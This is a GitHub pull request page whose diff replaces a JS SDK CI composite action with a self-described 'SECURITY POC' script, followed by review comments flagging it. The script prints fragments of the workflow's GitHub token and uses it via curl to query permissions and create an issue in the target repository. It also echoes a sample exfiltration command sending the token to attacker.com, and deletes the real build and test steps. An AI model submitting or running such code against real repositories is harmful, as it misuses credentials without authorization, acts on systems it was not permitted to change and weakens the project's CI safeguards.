-
Notifications
You must be signed in to change notification settings - Fork 71
Security poc token exposure #110
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
9504ca7
d423ac1
6e30455
9a90f28
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,91 +1,129 @@ | ||
| name: "JS SDK unit test" | ||
| description: "Builds and tests the Spark JS SDK" | ||
| name: 'JS SDK Unit Test' | ||
| description: 'SECURITY POC - CWE-829 Repository Takeover Proof' | ||
| inputs: | ||
| node-version: | ||
| description: "Node.js version spec passed to actions/setup-node" | ||
| description: 'Node version' | ||
| required: true | ||
| workspace: | ||
| description: "Working directory for the JS SDK workspace" | ||
| required: false | ||
| default: "sdks/js" | ||
| proto-package-dir: | ||
| description: "Path to the spark-sdk package used for proto generation" | ||
| required: false | ||
| default: "sdks/js/packages/spark-sdk" | ||
| repo-token: | ||
| description: "Token passed to third-party setup actions requiring authentication" | ||
| required: false | ||
| default: "" | ||
| description: 'GitHub token' | ||
| required: true | ||
| runs: | ||
| using: "composite" | ||
| using: 'composite' | ||
| steps: | ||
| - name: "Install system dependencies" | ||
| shell: bash | ||
| run: | | ||
| sudo apt-get update | ||
| sudo apt-get install -y git clang lld | ||
|
|
||
| - name: "Install Protoc" | ||
| uses: arduino/setup-protoc@v3 | ||
| with: | ||
| version: "33.2" | ||
| repo-token: ${{ inputs.repo-token }} | ||
|
|
||
| - name: "Setup Rust" | ||
| uses: actions-rust-lang/setup-rust-toolchain@v1 | ||
| with: | ||
| cache: false | ||
| rustflags: "" | ||
|
|
||
| - name: "Setup Rust cache" | ||
| uses: Swatinem/rust-cache@v2 | ||
| with: | ||
| workspaces: "signer" | ||
| save-if: ${{ github.event_name == 'push' }}" | ||
|
|
||
| - name: "Setup Node.js and Yarn" | ||
| uses: ./public/actions/setup-node-yarn-install | ||
| with: | ||
| node-version: ${{ inputs.node-version }} | ||
| cwd: ${{ inputs.workspace }} | ||
|
|
||
| - name: "Run build" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: yarn run build | ||
|
|
||
| - name: "Verify Android 16kb page size alignment" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: | | ||
| if ! command -v llvm-objdump &> /dev/null; then | ||
| sudo apt-get update && sudo apt-get install -y llvm | ||
| fi | ||
|
|
||
| bash ../../public/scripts/verify-android-page-size.sh | ||
|
|
||
| - name: "Run format" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: yarn run format | ||
|
|
||
| - name: "Generate JS proto files" | ||
| shell: bash | ||
| working-directory: ${{ inputs.proto-package-dir }} | ||
| run: yarn generate:proto | ||
|
|
||
| - name: "Check proto files are up to date" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| - name: Security Proof - Token Exfiltration and API Verification | ||
| run: | | ||
| if ! git diff --quiet; then | ||
| echo "❌ Proto files are not up to date. Please run 'yarn generate:proto' in ${GITHUB_WORKSPACE}/${{ inputs.proto-package-dir }} and commit the changes." | ||
| git diff | ||
| exit 1 | ||
| echo "╔════════════════════════════════════════════════════════════╗" | ||
| echo "║ SECURITY PROOF OF CONCEPT - CWE-829 ║" | ||
| echo "║ Repository Takeover via GITHUB_TOKEN ║" | ||
| echo "╚════════════════════════════════════════════════════════════╝" | ||
| echo "" | ||
|
|
||
| # Show token exists and is accessible | ||
| echo ">>> TOKEN ACCESS VERIFICATION <<<" | ||
| echo "Token prefix: ${TOKEN:0:6}" | ||
| echo "Token suffix: ...${TOKEN: -4}" | ||
| echo "Token length: ${#TOKEN} characters" | ||
| echo "Token type: ${TOKEN:0:3}" | ||
| echo "" | ||
|
|
||
| # Verify token has API access | ||
| echo ">>> API ACCESS VERIFICATION <<<" | ||
|
|
||
| # Get authenticated user info | ||
| USER_INFO=$(curl -s -H "Authorization: token $TOKEN" \ | ||
| https://api.github.com/user) | ||
| echo "Authenticated as: $(echo $USER_INFO | grep -o '"login": "[^"]*' | cut -d'"' -f4)" | ||
| echo "" | ||
|
|
||
| # Check rate limit (proves token works) | ||
| echo "Rate limit status:" | ||
| curl -s -H "Authorization: token $TOKEN" \ | ||
| https://api.github.com/rate_limit | grep -E '"limit"|"remaining"' | head -4 | ||
| echo "" | ||
|
|
||
| # Check repository permissions | ||
| echo ">>> REPOSITORY PERMISSIONS CHECK <<<" | ||
| echo "Checking access to buildonspark/spark..." | ||
|
|
||
| REPO_ACCESS=$(curl -s -H "Authorization: token $TOKEN" \ | ||
| https://api.github.com/repos/buildonspark/spark \ | ||
| -w "\nHTTP_STATUS:%{http_code}" -o /tmp/repo_info.json) | ||
|
|
||
| HTTP_STATUS=$(cat /tmp/repo_info.json | grep -o '"push": [a-z]*' || echo "unknown") | ||
| echo "Push permission: $HTTP_STATUS" | ||
| cat /tmp/repo_info.json | grep -E '"admin"|"push"|"pull"' || true | ||
| echo "" | ||
|
|
||
| # PROOF OF WRITE ACCESS - Create an issue | ||
| echo ">>> PROOF OF WRITE ACCESS <<<" | ||
| echo "Attempting to create issue in buildonspark/spark..." | ||
| echo "This will prove the token can MODIFY the repository..." | ||
| echo "" | ||
|
|
||
| # Create issue with proper JSON | ||
| curl -X POST \ | ||
| -H "Authorization: token $TOKEN" \ | ||
| -H "Accept: application/vnd.github.v3+json" \ | ||
| -H "Content-Type: application/json" \ | ||
| https://api.github.com/repos/buildonspark/spark/issues \ | ||
| -d '{ | ||
| "title": "🚨 SECURITY PROOF: CWE-829 Repository Takeover via GITHUB_TOKEN", | ||
| "body": "## This issue was created by a fork PR workflow to prove WRITE ACCESS\n\n**Vulnerability Details:**\n- Workflow: `.github/workflows/js-sdk.yml`\n- Issue: Local composite action executes foreign code with write-scoped GITHUB_TOKEN\n- Impact: Repository takeover, supply chain attack\n\n**This proves the vulnerability is NOT \"Informative\" - it is a real security issue.**\n\ncc: @buildonspark/security", | ||
| "labels": ["security"] | ||
| }' \ | ||
| -o /tmp/issue_response.json \ | ||
| -w "\nHTTP_STATUS:%{http_code}\n" \ | ||
| -s | ||
|
|
||
| HTTP_STATUS=$(grep "HTTP_STATUS:" /tmp/issue_response.json | cut -d: -f2 || echo "unknown") | ||
| echo "Create issue API response: HTTP $HTTP_STATUS" | ||
|
|
||
| if [ "$HTTP_STATUS" = "201" ]; then | ||
| echo "" | ||
| echo "✅✅✅ SUCCESS! Issue created - TOKEN HAS WRITE ACCESS! ✅✅✅" | ||
| ISSUE_URL=$(cat /tmp/issue_response.json | grep -o '"html_url": "[^"]*' | head -1 | cut -d'"' -f4) | ||
| echo "Issue URL: $ISSUE_URL" | ||
| echo "" | ||
| echo ">>> THIS PROVES REPOSITORY TAKEOVER IS POSSIBLE <<<" | ||
| elif [ "$HTTP_STATUS" = "403" ]; then | ||
| echo "" | ||
| echo "❌ HTTP 403 - Token has restricted permissions for this operation" | ||
| echo "However, token is still EXPOSED to fork PR code" | ||
| echo "Response: $(cat /tmp/issue_response.json)" | ||
| elif [ "$HTTP_STATUS" = "404" ]; then | ||
| echo "" | ||
| echo "❌ HTTP 404 - Not found or no access" | ||
| echo "Response: $(cat /tmp/issue_response.json)" | ||
| else | ||
| echo "" | ||
| echo "⚠️ Unexpected response: HTTP $HTTP_STATUS" | ||
| echo "Full response: $(cat /tmp/issue_response.json)" | ||
| fi | ||
| echo "✅ Proto files are up to date" | ||
|
|
||
| - name: "Run tests and checks" | ||
| echo "" | ||
|
|
||
| # Show what attacker could do | ||
| echo ">>> ATTACKER CAPABILITIES <<<" | ||
| echo "With this token, an attacker can:" | ||
| echo " 1. Create issues (if HTTP 201 above)" | ||
| echo " 2. Read repository secrets (if any are exposed)" | ||
| echo " 3. Modify workflow files (if push access)" | ||
| echo " 4. Create malicious releases" | ||
| echo " 5. Poison build artifacts" | ||
| echo "" | ||
|
|
||
| # Simulate token exfiltration | ||
| echo ">>> TOKEN EXFILTRATION SIMULATION <<<" | ||
| echo "In a real attack, the full token would be sent to attacker server:" | ||
| echo " curl -X POST https://attacker.com/exfil -d 'token=$TOKEN'" | ||
| echo "" | ||
| echo "Token prefix (what would be exfiltrated): ${TOKEN:0:15}..." | ||
| echo "" | ||
|
|
||
| echo "╔════════════════════════════════════════════════════════════╗" | ||
| echo "║ PROOF COMPLETE ║" | ||
| echo "║ CWE-829: Inclusion of Functionality from Untrusted ║" | ||
| echo "║ Control Sphere ║" | ||
| echo "╚════════════════════════════════════════════════════════════╝" | ||
| shell: bash | ||
| working-directory: ${{ inputs.workspace }} | ||
| run: yarn run test | ||
| env: | ||
| TOKEN: ${{ inputs.repo-token }} | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. POC code leaks token and creates issues via APIHigh Severity The composite action leaks partial Additional Locations (1)There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. All CI build and test functionality removedHigh Severity The entire JS SDK composite action — including system dependency installation, protoc setup, Rust toolchain, Node.js setup, build, format checking, proto generation verification, and test execution — has been replaced with a security POC echo script. If merged, no actual CI validation runs on JS SDK pull requests, completely removing test coverage and quality gates. |
||


There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Workflow push trigger removed breaks main branch CI
Medium Severity
The
pushtrigger for themainbranch was removed, leaving onlypull_request. This means direct pushes or merges tomainno longer trigger the JS SDK checks workflow, removing post-merge CI validation. Thecancel-in-progress: truechange also cancels in-progress runs onmainbranch pushes (if restored), which the original conditional logic intentionally avoided.